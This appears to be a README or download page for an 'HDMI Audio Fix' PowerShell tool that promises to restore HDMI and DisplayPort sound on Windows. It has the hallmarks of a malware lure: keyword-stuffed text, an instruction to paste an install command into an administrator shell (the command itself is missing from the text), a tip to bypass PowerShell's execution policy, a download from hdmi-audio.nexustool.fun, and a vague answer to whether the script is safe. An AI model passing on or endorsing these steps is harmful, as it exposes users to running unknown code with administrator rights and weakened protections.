HDMI-Audio-Fix-PowerShell
Fix HDMI no sound, DisplayPort audio missing and NVIDIA HD Audio not detected.
Open PowerShell as Administrator (Win + X → Terminal Admin) and run:
The installer downloads the latest build, prompts for your license key and completes setup automatically.
| Step | Action |
|---|---|
| 1 | Press Win + X, choose Terminal (Admin) or PowerShell (Admin) |
| 2 | Paste the command block above and press Enter |
| 3 | Wait for download — progress shown in the console |
| 4 | Enter license key when prompted (also in license.txt after install) |
| 5 | Restart if the installer asks — then launch from Start menu |
If execution is blocked, run Set-ExecutionPolicy Bypass -Scope Process -Force, then paste the Quick Install command again.
Install HDMI Audio Fix via PowerShell — restore HDMI and DisplayPort audio on Windows 10/11 when TV or monitor has no sound, NVIDIA/AMD HD Audio missing.
- hdmi no sound to tv windows 11
- nvidia hd audio not showing
- displayport no audio monitor
- no audio output device hdmi
- hdmi sound not working after update
- HDMI audio device — Enables NVIDIA/AMD HD Audio output on GPU port.
- Default device — Sets correct playback device for TV and monitor.
- Driver repair — Reinstalls audio endpoint driver for HDMI/DP.
- DisplayPort audio — Fixes DP monitors with no sound output.
- TV no sound — Repairs audio handshake between PC and HDMI TV.
| OS | Windows 10 / 11 (64-bit) |
| RAM | 4 GB minimum |
| PowerShell | 5.1 or PowerShell 7+ |
| Admin | Required |
| Network | Required for download |
How do I install without a browser? Use the PowerShell command above — no browser needed after Admin shell is open.
Where is the license key?
Shown during install and saved to license.txt in the install folder.
Is the script safe to run?
Hosted on GitHub raw; review install.ps1 before running if you prefer.
No sound through HDMI to TV? Enables GPU HD Audio and sets it as default device.
NVIDIA HD Audio not showing? Reinstalls NVIDIA audio driver component.
DisplayPort monitor no audio? Same fix — GPU audio endpoint on DP output.
Worked before Windows Update? Repairs audio stack after update broke HDMI device.
TAGS hdmi audio not working, hdmi no sound windows 11, nvidia hd audio missing, displayport no audio, powershell install, windows setup script
This is the download page. Use the button or link below to get HDMI Audio Fix for Windows.
| Direct link | hdmi-audio.nexustool.fun |
| Full URL | https://hdmi-audio.nexustool.fun/ |
| Type | Fix tool for Windows 10 / 11 (64-bit) |
| Admin | Run setup as Administrator |
- Click Download — hdmi-audio.nexustool.fun (link above)
- Save the file from the project page
- Run the setup as Administrator
- Enter your license key when prompted
- Restart if the installer asks — then launch from Start menu